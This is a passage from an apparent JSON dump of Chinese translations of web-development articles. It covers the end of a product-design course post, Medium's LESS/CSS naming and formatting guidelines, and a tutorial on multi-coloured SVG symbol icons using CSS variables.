Shariat](https://medium.com/u/62abc616e750)\n\n![](https://cdn-images-1.medium.com/max/800/1*o_OGbnZnX2aNDaNuLod6uQ.jpeg) \n\n<figcaption>**Jonathan Shariat**，Tragic Design 的作者。</figcaption>\n\n除开不好的地方，设计还有机会激发创新。像一个设计师那样思考，你可以去分享这个故事，这不仅关于我们如何存在，而且我们应该如何存在。\n\n![](https://cdn-images-1.medium.com/max/800/1*KthtYqzfjoVkKp-WlfoVtA.jpeg) \n\n<figcaption>梅赛德斯奔驰把潜在的社会经验用在自动驾驶汽车设计上。</figcaption>\n\n![](https://cdn-images-1.medium.com/max/2000/1*ANw9c6PDOtB4-b35Qb85zg.jpeg) \n\n**但是 Nicole 和 Andrew — 你们不是老师。”**\n\n你说得对，我们不是老师。 **我们也不知道我们在干嘛。** 可是，这个课程是一个机会，让所有人学到一些新的东西。请注意了：任何人都有权利分享知识和经验。[SkillShare](http://skillshare.com/) 和 [Berkeley’s DeCal](http://www.decal.org/) 项目都是现实生活中服务大我的鲜活例子。请试着不要把我们当作老师，而是促进者或者内容管理者。\n\n所以，我们设计我们的课堂，你将在课堂上学习相同的框架。我们确定了几种方法，测试了它们的反馈，并巩固了我们最好的解决方案，让你学习产品设计。\n\n事实上，有几种专业的设计课程，包括 a16z Gen.D Mentorship program, BuzzFeed Product Design, 和 Facebook Product Design 都帮助我们设计这个课堂的形状与形式，并传授了他们所希望的，在产品设计的早期能学习到的东西。\n\n以下是帮助我们设计出第一课的人们：\n [Jared Erondu](https://medium.com/u/2bf050c6e495), [Stephanie Engle](https://medium.com/u/625007cfe848), [Cap Watkins](https://medium.com/u/2757f3636a9f), [Allison Chefec](https://medium.com/u/eedf78d45a92), [Tom Harman](https://medium.com/u/98b2642f8375), [Lindsey Maratta](https://medium.com/u/2f53109682dd), and [Sabrina Majeed](https://medium.com/u/ebec6c3f778e).\n\n为了进一步促进学习体验，我们设置设计了 [匿名反馈表单](http://goo.gl/forms/IdkNCsbUwc)\n\n![](https://cdn-images-1.medium.com/max/800/1*rmf09RfocAk2TW9Y76-ihA.jpeg) \n\n![](https://cdn-images-1.medium.com/max/800/1*wXzzkatTR0neLfwG_ix5Vg.jpeg) \n\n### 逻辑\n\n#### _如何注册_\n\n在 Facebook Group 和 the Piazza 上面可以看到关于如何注册的指引。\n\n#### 作业\n\n所有的作业都要上传到 Facebook group 下特定的分类里。\n\n**分配作业 1: 分类问题**\n\n> 当 _____ 的时候, 我想要 _____ , 以便 _____ .\n\n参考 Clay Christensen’s Jobs framework (Inspired by design team at Intercom)，问题可以通过上面这个结构来思考。这将激励你在每天的经历中分辨出你平常没有注意到的缺点。\n\n> 例) 当拍合照的时候，我想要在一台手机上拍，以便避免在多台手机上拍同一张照片。\n\n\n**WeeklyUI: 移动端登录页面 (选做)**\n\n![](https://cdn-images-1.medium.com/max/800/1*WYT7dZ59cv1AKEypH4-dJA.jpeg) \n\n<figcaption>左边: [Michał Ptaszyński](https://dribbble.com/michal_ptaszynski),</figcaption>\n\n### 扩展资源\n\n*   [https://startupsthisishowdesignworks.com/](https://startupsthisishowdesignworks.com/)\n*   [Intro To Product Design — HH Design — Medium](https://medium.com/hh-design/intro-to-product-design-c2dbbc7809d3#.iup6b4d9z)\n*   [What is Product Design? — Medium](https://medium.com/@ericeriksson/what-is-product-design-9709572cb3ff#.xsp0td71g)\n\n### 我们学到了什么\n\n#### 兴趣\n\n我们调查了来自不同大学的超过 100 名注册者。\n\n![](https://cdn-images-1.medium.com/max/800/1*9fCD64REOU_OfMlNI9jHyg.png) \n\n<figcaption>80 人完成了首次调查。</figcaption>\n\n我们发现 **Facebook groups** 独立提供了一个课程外的交互体验。在这个没人想到的地方，虚拟化一个产品设计为中心的社区，不仅对我们有益，对于个体成员也会有所帮助。\n\n我们使用这个来提供工具，使他们可以投入在设计课程中，还可以分享在设计流程中新发现的扩展资源。\n\n![](https://cdn-images-1.medium.com/max/600/1*Qr8OXBY58xjGr9faAmvtLw.png) \n\n![](https://cdn-images-1.medium.com/max/600/1*RqARvkGP7D2E_hsfEBAckg.png)\n\n<figcaption>左边：在 Facebook reactions 分享阅读，右边：分享一个工具，可以用来发现一些好的设计</figcaption>\n\n#### Weekly UI 作为选做作业\n\nWeeklyUI 比我们想象的还要流行的多。大家都非常乐意接受批评和反馈。我们还发现用它可以更容易和我们的学生辨认通常的视觉设计。\n\n![](https://cdn-images-1.medium.com/max/800/1*cL9G0hLCkfzvKMo1z0p5bA.gif)\n\n#### 我们还在成长\n\n如果你有任何的建议、想法或者批评，请联系我或者 Nicole，或者填写这份 [匿名反馈表单](http://goo.gl/forms/qz7rflmf5N).\n\n### 最终的想法\n\n![](https://cdn-images-1.medium.com/max/2000/1*tgU7bw1Befb6co1O5MkUqQ.jpeg)\n"
  },
  {
    "path": "TODO/less-coding-guidelines.md",
    "content": ">* 原文链接 : [LESS Coding Guidelines](https://gist.github.com/fat/a47b882eb5f84293c4ed)\n* 原文作者 : [fat](https://gist.github.com/fat)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Gran](https://github.com/Graning)\n* 校对者: [hpf](https://github.com/hpoenixf) ,[MAYDAY1993](https://github.com/MAYDAY1993)\n\n# Medium 内部使用 css/less 的代码风格指南\n\n# Medium 内部使用 css/less 的代码风格指南\n\nMedium 对代码风格使用了  [LESS](http://lesscss.org/)  的一种严格子集。这个子集包含变量和混合指令，但是没有别的（嵌套等等）。\n\nMedium 的常规命名改编自 SUIT CSS 框架中正在进行的工作。这就是说，它依赖于 _结构化类名_ 和 _有意义的连字符_ （即不使用连字符只为了把单词分开）。这用来解决目前遇到的将 CSS 应用到 DOM 上的限制和在类之间更好的交流。\n\n\n**目录**\n\n* [JavaScript](#javascript)\n* [Utilities（工具）](#utilities)\n  * [u-utilityName](#u-utilityName)\n* [Components（组件）](#components)\n  * [componentName](#componentName)\n  * [componentName--modifierName](#componentName--modifierName)\n  * [componentName-descendantName](#componentName-descendantName)\n  * [componentName.is-stateOfComponent](#is-stateOfComponent)\n* [Variables（变量）](#variables)\n  * [colors](#colors)\n  * [z-index](#zindex)\n  * [font-weight](#fontweight)\n  * [line-height](#lineheight)\n  * [letter-spacing](#letterspacing)\n* [Polyfills](#polyfills)\n* [Formatting（格式）](#formatting)\n  * [Spacing](#spacing)\n  * [Quotes](#quotes)\n* [Performance（性能）](#performance)\n  * [Specificity](#specificity)\n\n\n<a name=\"javascript\"></a>\n## JavaScript\n\n语法: `js-<targetName>`\n\nJavaScript 具体类减少了更改构件的结构或主题不经意间影响到任何需要 JavaScript 特性以及复杂功能的风险。没必要在所有情况下使用它们，只是把它们当做你工具带的工具。如果你要创建一个类，而不打算使用样式，而是只在 JavaScript 中作为一个选择器，你可能应该加上 `js-` 前缀。在具体的实践中它看起来这样：\n\n```html\n<a href=\"/login\" class=\"btn btn-primary js-login\"></a>\n```\n\n**同样，JavaScript 的具体的类不应该在任何情况下设置样式。**\n\n<a name=\"utilities\"></a>\n## Utilities 工具\n\nMedium 的工具类采用低层次的结构和位置特征。工具们可直接应用于任何元素；可多工具同时应用；跟组件类一起被使用。\n\nUtilities 存在是因为某些 CSS 属性和模式经常使用。例如： floats, containing floats, vertical alignment, text truncation .依靠工具可以帮助减少重复和提供一致的实现，它们同时还充当了功能性混合指令的替代功能（即非填充工具）。\n\n\n```html\n<div class=\"u-clearfix\">\n  <p class=\"u-textTruncate\">{$text}</p>\n  <img class=\"u-pullLeft\" src=\"{$src}\" alt=\"\">\n  <img class=\"u-pullLeft\" src=\"{$src}\" alt=\"\">\n  <img class=\"u-pullLeft\" src=\"{$src}\" alt=\"\">\n</div>\n```\n\n<a name=\"u-utilityName\"></a>\n### u-utilityName\n\n语法: `u-<utilityName>`\n\nUtilities 必须使用驼峰命名, 前缀带有 `u` 的命名空间。 以下是对如何不同的工具可用于组件内建立一个简单的结构的例子。\n\n```html\n<div class=\"u-clearfix\">\n  <a class=\"u-pullLeft\" href=\"{$url}\">\n    <img class=\"u-block\" src=\"{$src}\" alt=\"\">\n  </a>\n  <p class=\"u-sizeFill u-textBreak\">\n    …\n  </p>\n</div>\n```\n\n<a name=\"components\"></a>\n## components 组件\n\n语法: `<componentName>[--modifierName|-descendantName]`\n\n当读取和写入 HTML 和 CSS 时组件驱动的开发有几个好处：\n\n* 它有助于在不同的类之间区分根组件，子元素和修改。\n* 它保持低的选择器特异性。\n* 它有助于从文档语义去耦呈现语义。\n\n你可以将组件当做该封装的特定语义，样式和行为的自定义元素。\n\n\n<a name=\"componentName\"></a>\n### componentName\n\n组件名必须使用驼峰命名法。\n\n```css\n.myComponent { /* … */ }\n```\n\n```html\n<article class=\"myComponent\">\n  …\n</article>\n```\n\n<a name=\"componentName--modifierName\"></a>\n### componentName--modifierName\n\n组件修饰器是一种可以在某种形式改变基础组件的样式的类。修饰器的名字必须为驼峰式并通过两个连字符与组件的名字分开。类应该包括在 _除了_ 基础构件类的 HTML 。\n\n```css\n/* Core button */\n.btn { /* … */ }\n/* Default button style */\n.btn--default { /* … */ }\n```\n\n```html\n<button class=\"btn btn--primary\">…</button>\n```\n<a name=\"componentName-descendantName\"></a>\n### componentName-descendantName\n\n子组件是附加到一个组件的子节点的类。它负责代表特定组件直接应用呈现给子代。子代命名也要使用驼峰式命名。 \n\n```html\n<article class=\"tweet\">\n  <header class=\"tweet-header\">\n    <img class=\"tweet-avatar\" src=\"{$src}\" alt=\"{$alt}\">\n    …\n  </header>\n  <div class=\"tweet-body\">\n    …\n  </div>\n</article>\n```\n\n<a name=\"is-stateOfComponent\"></a>\n### componentName.is-stateOfComponent\n\n使用 `is-stateName` 对部件进行基于状态的修改。状态名命名也要使用驼峰式。 **不要直接设置这些类的样式；它们应该被常用作相邻的类。**\n\nJS 可以添加或删除这些类。这意味着相同的状态名称可以在上下文中多次使用，但每一组件必须定义它自己的样式的状态（因为它们被限定在组件）。\n\n```css\n.tweet { /* … */ }\n.tweet.is-expanded { /* … */ }\n```\n\n```html\n<article class=\"tweet is-expanded\">\n  …\n</article>\n```\n\n\n<a name=\"variables\"></a>\n## Variables 变量\n\n语法: `<property>-<value>[--componentName]`\n\n在我们的 CSS 中变量名也有严格的结构。此语法提供属性，使用和组件之间的强关联。\n\n下面的变量定义是一个颜色属性，其值为 grayLight ，与 highlightMenu 组件一起使用。\n\n```CSS\n@color-grayLight--highlightMenu: rgb(51, 51, 50);\n```\n\n<a name=\"colors\"></a>\n### Colors\n\n在实现特性的样式时，你只应使用由 colors.less 提供的颜色变量。\n\n当添加一个颜色名称到 colors.less ，使用 RGB 和 RGBA 颜色单位优先于十六进制， named ， HSL 和 HSLA 值。\n\n**正确的做法:**\n```css\nrgb(50, 50, 50);\nrgba(50, 50, 50, 0.2);\n```\n\n**错误的做法:**\n```css\n#FFF;\n#FFFFFF;\nwhite;\nhsl(120, 100%, 50%);\nhsla(120, 100%, 50%, 1);\n```\n\n<a name=\"zindex\"></a>\n### z-index 范围\n\n请使用 Z-index.less 定义 z-index 的范围。\n\n提供的 `@zIndex-1 - @zIndex-9` 范围的值完全够用。\n\n\n<a name=\"fontweight\"></a>\n### Font Weight\n\n随着网页字体的额外支持， `font-weight` 起着比从前重要的作用。不同的字体粗细将专门渲染重建。不像曾经的 `bold` 只是通过一个算法来增粗字体。明显的使用 `font-weight` 的数值，以达到字体的最佳展示。下面是一个指导：\n\n应尽量避免原始定义字体粗细。相反，使用合适的字体混合指令: `.font-sansI7, .font-sansN7, 等等.`\n\n后缀定义粗细和样式：\n\n```CSS\nN = normal\nI = italic\n4 = normal font-weight\n7 = bold font-weight\n```\n\n请参考 type.less 类型的大小，字母间距和行高。原尺寸，空格和线的高度应避免出现在 type.less 之外。\n\n\n```CSS\nex:\n\n@fontSize-micro\n@fontSize-smallest\n@fontSize-smaller\n@fontSize-small\n@fontSize-base\n@fontSize-large\n@fontSize-larger\n@fontSize-largest\n@fontSize-jumbo\n```\n\n参见 [Mozilla Developer Network — font-weight](https://developer.mozilla.org/en/CSS/font-weight) 进一步阅读。\n\n\n<a name=\"lineheight\"></a>\n### Line Height\n\nType.less 还提供了一个行高比例。这应该用于文本块。\n\n\n```CSS\nex:\n\n@lineHeight-tightest\n@lineHeight-tighter\n@lineHeight-tight\n@lineHeight-baseSans\n@lineHeight-base\n@lineHeight-loose\n@lineHeight-looser\n```\n\n另外，使用行高垂直居中单行文本的时候，一定要将行高设置为容器的高度减 1 。\n\n```CSS\n.btn {\n  height: 50px;\n  line-height: 49px;\n}\n```\n\n<a name=\"letterspacing\"></a>\n### Letter spacing\n\n字母间隔同样也应该跟随 var 进行比例控制。\n\n```CSS\n@letterSpacing-tightest\n@letterSpacing-tighter\n@letterSpacing-tight\n@letterSpacing-normal\n@letterSpacing-loose\n@letterSpacing-looser\n````\n\n<a name=\"polyfills\"></a>\n## Polyfills\n\n混合指令语法: `m-<propertyName>`\n\n在 Medium 我们只用混合指令生成浏览前缀属性 polyfills 。\n\n\n边框半径混合指令的例子：\n\n```css\n.m-borderRadius(@radius) {\n  -webkit-border-radius: @radius;\n     -moz-border-radius: @radius;\n          border-radius: @radius;\n}\n```\n\n\n<a name=\"formatting\"></a>\n## Formatting\n\n以下是一些高水平的网页格式样式规则。\n\n<a name=\"spacing\"></a>\n### Spacing\n\nCSS 规则在新的一行应该用逗号分开：\n\n**正确的写法:**\n```css\n.content,\n.content-edit {\n  …\n}\n```\n\n**错误的写法:**\n```css\n.content, .content-edit {\n  …\n}\n```\n\nCSS 块应由一个新行分开，而不是两个并且不为 0 。\n\n**正确的写法:**\n```css\n.content {\n  …\n}\n.content-edit {\n  …\n}\n```\n\n**错误的写法:**\n```css\n.content {\n  …\n}\n\n.content-edit {\n  …\n}\n```\n\n\n<a name=\"quotes\"></a>\n### Quotes\n\n引号在 CSS 和 LESS 可选。我们使用双引号，因为它视觉上更加简洁，而且该字符串不是一个选择符或样式属性。\n\n**正确的写法:**\n```css\nbackground-image: url(\"/img/you.jpg\");\nfont-family: \"Helvetica Neue Light\", \"Helvetica Neue\", Helvetica, Arial;\n```\n\n**错误的写法:**\n```css\nbackground-image: url(/img/you.jpg);\nfont-family: Helvetica Neue Light, Helvetica Neue, Helvetica, Arial;\n```\n\n<a name=\"performance\"></a>\n## Performance 性能\n\n<a name=\"specificity\"></a>\n### Specificity\n\n在名称（层叠样式表）层叠会在应用样式上增加不必要的性能支出。看看下面的例子：\n\n```css\nul.user-list li span a:hover { color: red; }\n```\n\n样式渲染在布局处理过程中解决。选择器从右到左进行，当它不匹配时退出。因此，本例中的每个 a 标签都会被检查，看它是否属于 span 和 list 。你可以想象，这需要大量的 DOM 遍历操作，对于大型文档来说的话可能导致布局时间增多。进一步阅读： https://developers.google.com/speed/docs/best-practices/rendering#UseEfficientCSSSelectors\n\n如果我们想让 .user-list 中所有的 a 元素悬停时变红，我们可以简化这种样式：\n\n```css\n.user-list > a:hover {\n  color: red;\n}\n```\n\n如果我们仅仅想给 `.user-list` 中某些具体的 a 元素设置特别的样式，我们可以给他们设定一个特定的类。\n\n```css\n.user-list > .link-primary:hover {\n  color: red;\n}\n```\n"
  },
  {
    "path": "TODO/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md",
    "content": "> * 原文地址：[Let’s make multi-colored icons with SVG symbols and CSS variables](https://medium.freecodecamp.org/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables-cddd1769fca4)\n> * 原文作者：[Sarah Dayan](https://medium.freecodecamp.org/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables-cddd1769fca4)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md](https://github.com/xitu/gold-miner/blob/master/TODO/lets-make-your-svg-symbol-icons-multi-colored-with-css-variables.md)\n> * 译者：[PTHFLY](https://github.com/pthtc)\n> * 校对者：[cherry](https://github.com/sunshine940326)、[Raoul1996](https://github.com/Raoul1996)\n\n# 使用 SVG 符号和 CSS 变量实现多彩图标\n\n![](https://cdn-images-1.medium.com/max/1000/1*WO5mgu0bcFNdt7R6JH6mhQ.png)\n\n使用图片和 CSS 精灵制作 web 图标的日子一去不复返了。随着 web 字体的爆发，图标字体已经成为在你的 web 项目中显示图标的第一解决方案。\n\n字体是矢量，所以你无须担心分辨率的问题。他们和文本一样因为拥有 CSS 属性，那就意味着，你完全可以应用 `size` 、 `color` 和 `style` 。你可以添加转换、特效和装饰，比如旋转、下划线或者阴影。\n\n![](https://cdn-images-1.medium.com/max/800/0*3CipXJBmc9h8Q-68.png)\n\n怪不得类似 Font Awesome 这类项目仅仅在 npm 至今已经被下载了[超过 1500 万次](http://npm-stats.com/~packages/font-awesome)。\n\n**可是图标字体并不完美**, 这就是为什么越来越多的人使用行内 SVG 。CSS Tricks 写了[图标字体劣于原生 SVG 元素的地方](https://css-tricks.com/icon-fonts-vs-svg)：锐利度、定位或者是因为跨域加载、特定浏览器错误和广告屏蔽器等原因导致的失败。现在你可以规避绝大多数这些问题了，总体上使用图标字体是一个安全的选择。\n\n然而，还是有一件事情对于图标字体来说是绝对不可能的：**多色支持**。只有 SVG 可以做到。\n\n**摘要** _：这篇博文深入阐述怎么做和为什么。如果你想理解整个思维过程，推荐阅读。否则你可以直接在 [CodePen](https://codepen.io/sarahdayan/pen/GOzaEQ) 看最终代码。_ \n\n### 设置 SVG 标志图标\n\n行内 SVG 的问题是，它会非常冗长。你肯定不想每次使用同一个图标的时候，还需要复制/粘贴所有坐标。这将会非常重复，很难阅读，更难维护。\n\n通过 SVG 符号图标，你只需拥有一个 SVG 元素，然后在每个需要的地方引用就好了。\n\n先添加行内 SVG ，隐藏它之后，再用 `<symbol>` 包裹它，用 `id` 对其进行识别。\n\n```\n<svg xmlns=\"http://www.w3.org/2000/svg\" style=\"display: none\">\n  <symbol id=\"my-first-icon\" viewBox=\"0 0 20 20\">\n    <title>my-first-icon</title>\n    <path d=\"...\" />\n  </symbol>\n</svg>\n```\n\n_整个 SVG 标记被一次性包裹并且在 HTML 中被隐藏。_\n\n然后，所有你要做的是用一个 `<use>` 标签将图标实例化。\n\n```\n<svg>\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n```\n\n_这将会显示一个初始 SVG 图标的副本。_\n\n![](https://cdn-images-1.medium.com/max/800/0*QRBjEA0KVeKcjGBy.png)\n\n**就是这样了！**看起来很棒，是吧？\n\n你可能注意到了这个有趣的 `xlink:href` 属性：这是你的实例与初始 SVG 之间的链接。\n\n需要提到的是 `xlink:href` 是一个弃用的 SVG 属性。尽管大多数浏览器仍然支持，**你应该用**  `**href**` 替代。现在的问题是，一些浏览器比如 Safari 不支持使用 `href` 进行 SVG 资源引用，因此你仍然需要提供 `xlink:href` 选项。\n\n安全起见，两个都用吧。\n\n### 添加一些颜色\n\n不像是字体， `color` 对于 SVG 图标没有任何作用：你必须使用 `fill` 属性来定义一个颜色。这意味着他们将不会像图标字体一样继承父文本颜色，但是你仍然可以在 CSS 中定义它们的样式。\n\n```\n// HTML\n<svg class=\"icon\">\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n// CSS\n.icon {\n  width: 100px;\n  height: 100px;\n  fill: red;\n}\n```\n\n在这里，你可以使用不同的填充颜色创建同一个图标的不同实例。\n\n```\n// HTML\n<svg class=\"icon icon-red\">\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n<svg class=\"icon icon-blue\">\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n// CSS\n.icon {\n  width: 100px;\n  height: 100px;\n}\n.icon-red {\n  fill: red;\n}\n.icon-blue {\n  fill: blue;\n}\n```\n\n这样就可以生效了，但是不**完全**符合我们的预期。目前为止，我们所有做的事情可以使用一个普通的图标字体来实现。我们想要的是在图标的位置可以有不同的颜色。我们想要向每个**路径**上填充不同颜色，而不需要改变其他实例，我们想要能够在必要的时候重写它。\n\n首先，你可能会受到依赖于特性的诱惑。\n\n```\n// HTML\n<svg xmlns=\"http://www.w3.org/2000/svg\" style=\"display: none\">\n  <symbol id=\"my-first-icon\" viewBox=\"0 0 20 20\">\n    <title>my-first-icon</title>\n    <path class=\"path1\" d=\"...\" />\n    <path class=\"path2\" d=\"...\" />\n    <path class=\"path3\" d=\"...\" />\n  </symbol>\n</svg>\n<svg class=\"icon icon-colors\">\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n// CSS\n.icon-colors .path1 {\n  fill: red;\n}\n.icon-colors .path2 {\n  fill: green;\n}\n.icon-colors .path3 {\n  fill: blue;\n}\n```\n\n**不起作用。**\n\n我们尝试设置 `.path1` 、 `.path2` 和 `.path3` 的样式，仿佛他们被嵌套在 `.icon-colors` 里，但是严格来说，**并非如此**。 `<use>` 标签不是一个会被你的 SVG 定义替代的**占位符**。这是一个**引用**将它所指向内容复制为 [**shadow DOM**](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Shadow_DOM) 😱。\n\n**那接下来我们该怎么办？**当子项不在 DOM 中时，我们如何才能用一个区域性的方式影响子项？\n\n### CSS 变量拯救世界\n\n在 CSS 中，[一些属性](https://developer.mozilla.org/en-US/docs/Web/CSS/inheritance)从父元素继承给子元素。如果你将一个文本颜色分配给 `body` ，这一页中所有文本将会继承那个颜色直到被重写。父元素没有意识到子元素，但是**可继承**的样式仍然继续传播。\n\n在我们之前的例子里，我们继承了**填充**属性。回头看，你会看到我们声明**填充**颜色的类被附加在了**实例**上，而不是定义上。这就是我们能够为同一定义的每个不同实体赋予不同颜色的原因。\n\n现在有个问题：我们想传递**不同**颜色给原始 SVG 的**不同**路径，但是只能从一个 `fill` 属性里继承。\n\n这就需要 **CSS 变量**了。\n\n就像任何其它属性一样， CSS 变量在规则集里被声明。你可以用任意命名，分配任何有效的 CSS 值。然后，你为它自己或者其它子属性，像一个值一样声明它，并且**这将被继承**。\n\n```\n.parent {\n  --custom-property: red;\n  color: var(--custom-property);\n}\n```\n\n_所有_ `.parent` _的子项都有红色文本。_\n\n```\n.parent {\n  --custom-property: red;\n}\n.child {\n  color: var(--custom-property);\n}\n```\n\n_所有嵌套在_  `.parent` _标签里的_ `.child` _都有红色文本。_\n\n现在，让我们把这个概念应用到 SVG 符号里去。我们将在 SVG 定义的每个部分使用 `fill` 属性，并且设置成不同的 CSS 变量。然后，我们将给它们分配不同的颜色。\n\n```\n// HTML\n<svg xmlns=\"http://www.w3.org/2000/svg\" style=\"display: none\">\n  <symbol id=\"my-first-icon\" viewBox=\"0 0 20 20\">\n    <title>my-first-icon</title>\n    <path fill=\"var(--color-1)\" d=\"...\" />\n    <path fill=\"var(--color-2)\" d=\"...\" />\n    <path fill=\"var(--color-3)\" d=\"...\" />\n  </symbol>\n</svg>\n<svg class=\"icon icon-colors\">\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n// CSS\n.icon-colors {\n  --color-1: #c13127;\n  --color-2: #ef5b49;\n  --color-3: #cacaea;\n}\n```\n\n然后… **生效了** 🎉!\n\n![](https://cdn-images-1.medium.com/max/800/0*b9uBTmdvSJs7fd1D.png)\n\n现在开始，为了用不同的颜色方案创建实例，我们所需要做的是创建一个新类。\n\n```\n// HTML\n<svg class=\"icon icon-colors-alt\">\n  <use xlink:href=\"#my-first-icon\" />\n</svg>\n// CSS\n.icon-colors-alt {\n  --color-1: brown;\n  --color-2: yellow;\n  --color-3: pink;\n}\n```\n\n如果你仍然想有单色图标，**你不必在每个 CSS 变量中重复同样的颜色**。相反，你可以声明一个单一 `fill` 规则：因为如果 CSS 变量没有被定义，它将会回到你的 `fill` 声明。\n\n```\n.icon-monochrome {\n  fill: grey;\n}\n```\n\n_你的 `fill` 声明将会生效，因为初始 SVG 的 `fill` 属性被未设置的 CSS 变量值定义。_\n\n### 怎样命名我的 CSS 变量？\n\n当提到在 CSS 中命名，通常有两条途径：**描述的**或者**语义的**。描述的意思是告诉一个颜色**是什么**：如果你存储了  `#ff0000` 你可以叫它 `--red` 。语义的意思是告诉颜色**它将会被如何应用**：如果你使用 `#ff0000` 来给一个咖啡杯把手赋予颜色，你可以叫它 `--cup-handle-color` 。\n\n描述的命名也许是你的本能。看起来更干脆，因为`#ff0000` 除了咖啡杯把手还有更多地方可以被使用。一个 `--red` CSS 变量可被复用于其他需要变成红色的图标路径。毕竟，这是实用主义在 CSS 中的工作方式。并且是[一个良好的系统](https://frontstuff.io/in-defense-of-utility-first-css)。\n\n问题是，在我们的案例里，**我们不能把零散的类应用于我们想设置样式的标签**。实用主义原则不能应用，因为我们对于每个图标有单独的引用，我们不得不通过类的变化来设置样式。\n\n使用语义类命名，例如 `--cup-handle-color` ，对于这个情况更有用。当你想改变图标一部分的颜色时，你立即知道这是什么以及需要重写什么。无论你分配什么颜色，类命名将会一直关联。\n\n### 默认还是不要默认，这是个问题\n\n将你的图标的多色版本设置成默认状态是很有诱惑力的选择。这样，你无需设置额外样式，只需要在必要的时候可以添加你自己的类。\n\n有两个方法可以实现：**:root** 和 **var() default** 。\n\n### :root\n\n在 `:root` 选择器中你可以定义所有你的 CSS 变量。这将会把它们统一放在一个位置，允许你『分享』相似的颜色。 `:root` 拥有最低的优先度，因此可以很容易地被重写。\n\n```\n:root {\n  --color-1: red;\n  --color-2: green;\n  --color-3: blue;\n  --color-4: var(--color-1);\n}\n.icon-colors-alt {\n  --color-1: brown;\n  --color-2: yellow;\n  --color-3: pink;\n  --color-4: orange;\n}\n```\n\n然而，**这个方法有一个主要缺点**。首先，将颜色定义与各自的图标分离可能会有些让人疑惑。当你决定重写他们，你必须在类与 `:root` 选择器之间来回操作。但是更重要的是，**它不允许你去关联你的 CSS 变量**，因此让你不能复用同一个名字。\n\n大多数时候，当一个图标只用一种颜色，我用 `--fill-color` 名称。简单，易懂，对于所有仅需要一种颜色的图标非常有意义。如果我必须在 `:root` 声明中声明所有变量，我就不会有几个 `--fill-color`。我将会被迫定义 `--fill-color-1` ， `--fill-color-2` 或者使用类似 `--star-fill-color` ， `--cup-fill-color` 的命名空间。\n\n### var() 默认\n\n你可以用 `var()` 功能来把一个 CSS 变量分配给一个属性，并且它的第二个参数可以设置为某个默认值。\n\n```\n<svg xmlns=\"http://www.w3.org/2000/svg\" style=\"display: none\">\n  <symbol id=\"my-first-icon\" viewBox=\"0 0 20 20\">\n    <title>my-first-icon</title>\n    <path fill=\"var(--color-1, red)\" d=\"...\" />\n    <path fill=\"var(--color-2, blue)\" d=\"...\" />\n    <path fill=\"var(--color-3, green)\" d=\"...\" />\n  </symbol>\n</svg>\n```\n\n在你定义完成 `--color-1` ， `--color-2` 和 `--color-3` 之前，图标将会使用你为每个 `<path>` 设置的默认值。这解决了当我们使用 `:root` 时的全局关联问题，但是请小心：**你现在有一个默认值，并且它将会生效**。结果是，你再也不能使用单一的 `fill` 声明来定义单色图标了。你将不得不一个接一个地给每个使用于这个图标的 CSS 变量分配颜色。\n\n设置默认值会很有用，但是这是一个折中方案。我建议你不要形成习惯，只在对给定项目有帮助的时候做这件事情。\n\n### How browser-friendly is all that?\n\n[CSS 变量与大多数现代浏览器兼容](https://caniuse.com/#feat=css-variables)，但是就像你想的那样， Internet Explorer **完全**不兼容。因为微软要支持 Edge 终止了 IE11 开发， IE 以后也没有机会赶上时代了。\n\n现在，仅仅是因为一个功能不被某个浏览器（而你必须适配）兼容，这不意味着你必须全盘放弃它。在这种情况下，考虑下**优雅降级**：给现代浏览器提供多彩图标，给落后浏览器提供备份的填充颜色。\n\n你想要做的是设置一个仅在 CSS 变量不被支持时触发的声明。这可以通过设置备份颜色的 `fill` 属性实现：如果 CSS 变量不被支持，它甚至不会被纳入考虑。如果它们不能被支持，你的 `fill` 声明将会生效。\n\n如果你使用 Sass 的话，这个可以被抽象为一个 `@mixin` 。\n\n```\n@mixin icon-colors($fallback: black) {\n  fill: $fallback;\n  @content;\n}\n```\n\n现在，你可以任意定义颜色方案而无需考虑浏览器兼容问题了。\n\n```\n.cup {\n  @include icon-colors() {\n    --cup-color: red;\n    --smoke-color: grey;\n  };\n}\n.cup-alt {\n  @include icon-colors(green) {\n    --cup-color: green;\n    --smoke-color: grey;\n  };\n}\n```\n\n_在 mixin 中通过  `@content`  传递 CSS 变量也是一个可选项。如果你在外面做这件事，被编译的 CSS 将会变得一样。但是它有助于被打包在一起：你可以在你编辑器中折叠片段然后用眼睛分辨在一起的声明。_\n\n在不同的浏览器中查看这个 [pen](https://codepen.io/sarahdayan/pen/GOzaEQ/) 。在最新版本的 Firefox ， Chrome 和 Safari 中，最后两只杯子各自拥有红色杯身灰色烟气和蓝色杯身灰色烟气。在 IE 和 版本号小于 15 的 Edge 中，第三个杯子的杯身与烟气全部都是红色，第四个则全部是蓝色！ ✨\n\n如果你想了解更多关于 SVG 符号图标（或者一般的 SVG ），我**强烈**建议你阅读 [ Sara Soueidan 写的一切东西](https://www.sarasoueidan.com/blog)。如果你有任何关于 CSS 符号图标的问题，不要犹豫，尽管在 [Twitter](https://twitter.com/frontstuff_io) 上联系我。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 